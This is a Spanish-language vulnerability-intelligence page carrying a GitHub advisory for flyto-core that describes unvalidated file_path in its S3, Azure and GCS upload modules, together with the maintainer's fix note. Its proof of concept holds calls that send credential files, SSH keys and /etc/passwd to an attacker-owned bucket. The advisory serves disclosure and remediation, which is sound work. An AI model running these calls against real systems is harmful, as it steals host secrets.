llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-45HF-2FMJ-Q442

Arbitrary host-file read/exfil via unvalidated file_path in cloud.{aws_s3,azure,gcs}.upload modules

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición88 dDesde la divulgación, 23 ago 2026, 9:23 a. m.
Detección87 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.29.0
Monitoreo
Detectada +1
23 ago 26
18 nov 26
20 nov 26
23 ago 26
14 sept 26
6 oct 26
29 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-45HF-2FMJ-Q442 divulgada · CVSS 7.7 (GitHub)
Remediación Parche 2.29.0 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
Three default-reachable cloud storage upload modules — `cloud.aws_s3.upload`, `cloud.azure.upload`, and `cloud.gcs.upload` — read a fully caller-controlled `file_path` and stream the host file to a caller-chosen destination bucket/container, with NO path validation. Each module's *download* twin calls `validate_path_with_env_config`, but the *upload* handler passes `file_path` verbatim to the SDK read call. An untrusted workflow author (LLM content / remote MCP client) can read any host file — `/etc/passwd`, `~/.aws/credentials`, SSH keys, application `.env` — and, for the AWS/Azure modules where the caller also supplies destination credentials, exfiltrate it to an attacker-owned account. This is a distinct code path from the already-patched download side (GHSA-hmq9-xw4w-7ppc, `destination_path` write) and from the separately-registered `aws.s3.upload` module.

## Root Cause
- `cloud.aws_s3.upload` (`src/core/modules/third_party/cloud/storage.py`): `aws_s3_upload` reads `file_path = params.get('file_path')` (storage.py:210) and passes it straight to `await s3.upload_file(file_path, bucket, key, ...)` (storage.py:232). `validate_path_with_env_config` is imported (storage.py:10) but called ONLY in the download twin (storage.py:388).
- `cloud.azure.upload` (`.../cloud/azure.py`): `validate_params` sets `self.file_path = params.get('file_path')` (azure.py:135) with no validation; `execute()` does `with open(self.file_path, 'rb') as data: blob_client.upload_blob(data, ...)` (azure.py:187-197). Download twin validates `destination_path` at azure.py:334.
- `cloud.gcs.upload` (`.../cloud/gcs.py`): `self.file_path = params.get('file_path')` (gcs.py:136) is passed to `blob.upload_from_filename(self.file_path)` (gcs.py:180). Download twin guards at gcs.py:302.

The guard the uploads omit is not cosmetic: `validate_path_with_env_config` → `validate_path_safe(base_dir=cwd/FLYTO_SANDBOX_DIR)` whose containment check (`startswith(base_canonical + os.sep)`) rejects `/etc/passwd` unconditionally.

## Impact
Arbitrary host-file READ outside the module sandbox on the default policy (`required_permissions=['cloud.storage']` ∉ `_DANGEROUS_PERMISSIONS`; not denylisted). For `cloud.aws_s3.upload` and `cloud.azure.upload` the caller also supplies destination credentials (`aws_access_key_id`/`aws_secret_access_key`, or `connection_string`), so the host file lands in the attacker's own S3/Azure account = complete, unconditional exfiltration of secrets (C:H). Scope is Changed (S:C): the module-sandbox authority is escaped to reach the host filesystem.

Note on `cloud.gcs.upload` (narrower): GCS uses the server's Application Default Credentials (`storage.Client()`, gcs.py:171) — there is no caller destination-credential parameter, and the handler returns only a `gs://` URL, not the file contents. So the arbitrary host-file READ is real and unpatched, but practical exfiltration is conditional (requires a server-writable bucket the attacker can also read, e.g. via `public:true`/`make_public()` succeeding or a pre-existing read grant) — a MEDIUM-severity member of this advisory, documented as narrower.

Proof of Concept

# AWS (clean exfil to attacker account):
execute_module("cloud.aws_s3.upload",
  {"file_path": "/home/app/.aws/credentials", "bucket": "attacker-bkt",
   "key": "loot", "aws_access_key_id": "AKIA...", "aws_secret_access_key": "..."})

# Azure:
execute_module("cloud.azure.upload",
  {"file_path": "/root/.ssh/id_rsa", "container": "x",
   "connection_string": "<attacker account>", "blob_name": "loot"})

# GCS (host-file read; exfil conditional):
execute_module("cloud.gcs.upload",
  {"file_path": "/etc/passwd", "bucket": "<server-writable>", "object_name": "loot"})

## Attack Chain
1. Entry: `execute_module("cloud.aws_s3.upload", {file_path:"/etc/passwd", bucket:"attacker-bkt", key:"loot", aws_access_key_id:"AKIA...", aws_secret_access_key:"..."})`. Guard: capability denylist + dangerous-permission gate. Bypass proof: `cloud.aws_s3.upload` ∉ `_DEFAULT_DENYLIST`; `required_permissions=['cloud.storage']` (storage.py:42) ∉ `_DANGEROUS_PERMISSIONS` → allowed.
2. Check: central path guard. Guard: `validate_path_with_env_config`. Bypass proof: not called in `aws_s3_upload` — `file_path` is read at storage.py:210 and used raw; contrast download twin storage.py:388.
3. Sink: `await s3.upload_file(file_path, bucket, key, ...)` (storage.py:232) reads the host file and uploads it to the attacker's bucket (attacker-supplied creds).
4. Impact: exfiltration of `/etc/passwd`, `~/.aws/credentials`, SSH keys, app secrets. C:H, S:C. (Azure identical via azure.py:187; GCS reads via gcs.py:180 with conditional exfil.)

## Bypass Evidence
`git show v2.28.1:src/core/modules/third_party/cloud/storage.py | grep -n 'upload_file\|validate_path'` → `232: s3.upload_file(file_path,...)` and `388: validate_path_with_env_config` (download only). Same asymmetry confirmed on v2.28.1 for azure.py (187 vs 334) and gcs.py (180 vs 302). Fix commit `be1a244` added the guard to downloads only; the upload classes received only cosmetic edits (`from e`).

## Affected Versions
`<= 2.28.1` (all three sinks verified present on the latest release tag v2.28.1; files byte-identical HEAD vs v2.28.1).

## Suggested Fix
Call `validate_path_with_env_config(file_path)` (as the download twins already do) before the upload read in all three modules: `aws_s3_upload` (storage.py), `AzureUploadModule.execute` (azure.py), and `GCSUploadModule.execute` (gcs.py).

---
Reported by zx (Jace) — GitHub: @manus-use

---

Maintainer note

Fixed in `2.29.0`. Each upload now confines `file_path` with `validate_path_with_env_config` at the point its own download twin does — `aws_s3_upload` before the SDK import, `AzureUploadModule.execute` and `GCSUploadModule.execute` as their first statement, so a rejection surfaces as `PathTraversalError` rather than being rewritten into a generic upload error. The GCS case is confirmed as the narrower one the report describes.

Two things came out of the fix that are worth recording:

  • The Azure `connection_string` names a storage endpoint (`BlobEndpoint=...`), which is a caller-chosen network target that no parameter called `host` or `url` ever revealed. Both Azure modules now run the outbound guard on it.
  • The registry-wide filesystem coverage gate did not catch this because it scanned whole source *files*: `storage.py` contains `validate_path_with_env_config` — in `aws_s3_download` — so the file counted as guarded and vouched for its unguarded sibling. The same asymmetry existed in `azure.py` and `gcs.py`. The gate now reads the handler that `register_module` was applied to, resolving one hop into same-file helpers. Tightening it immediately surfaced three more instances of this exact shape that no report had named, all fixed in the same release: `image.qrcode_generate` (`logo_path`, opened and its pixels embedded in the returned image), `verify.annotate` (`image_path`, drawn into an output that *was* confined), and `load_ruleset`, which still carried the `'..'` denylist that GHSA-p34x-fmph-9fjx had already found insufficient while its `save_ruleset` twin had moved to the shared helper.

Regression tests: `tests/core/test_reported_advisories_2026_08_19.py` — `test_aws_s3_upload_confines_file_path`, `test_class_upload_modules_confine_file_path`, `test_upload_inside_the_sandbox_still_works`, `test_azure_connection_string_endpoint_is_guarded`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.28.1
2.28.1
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.29.0 0 d 2.41.0 no afectada
Versiones corregidas2.29.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-45hf-2fmj-q442

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.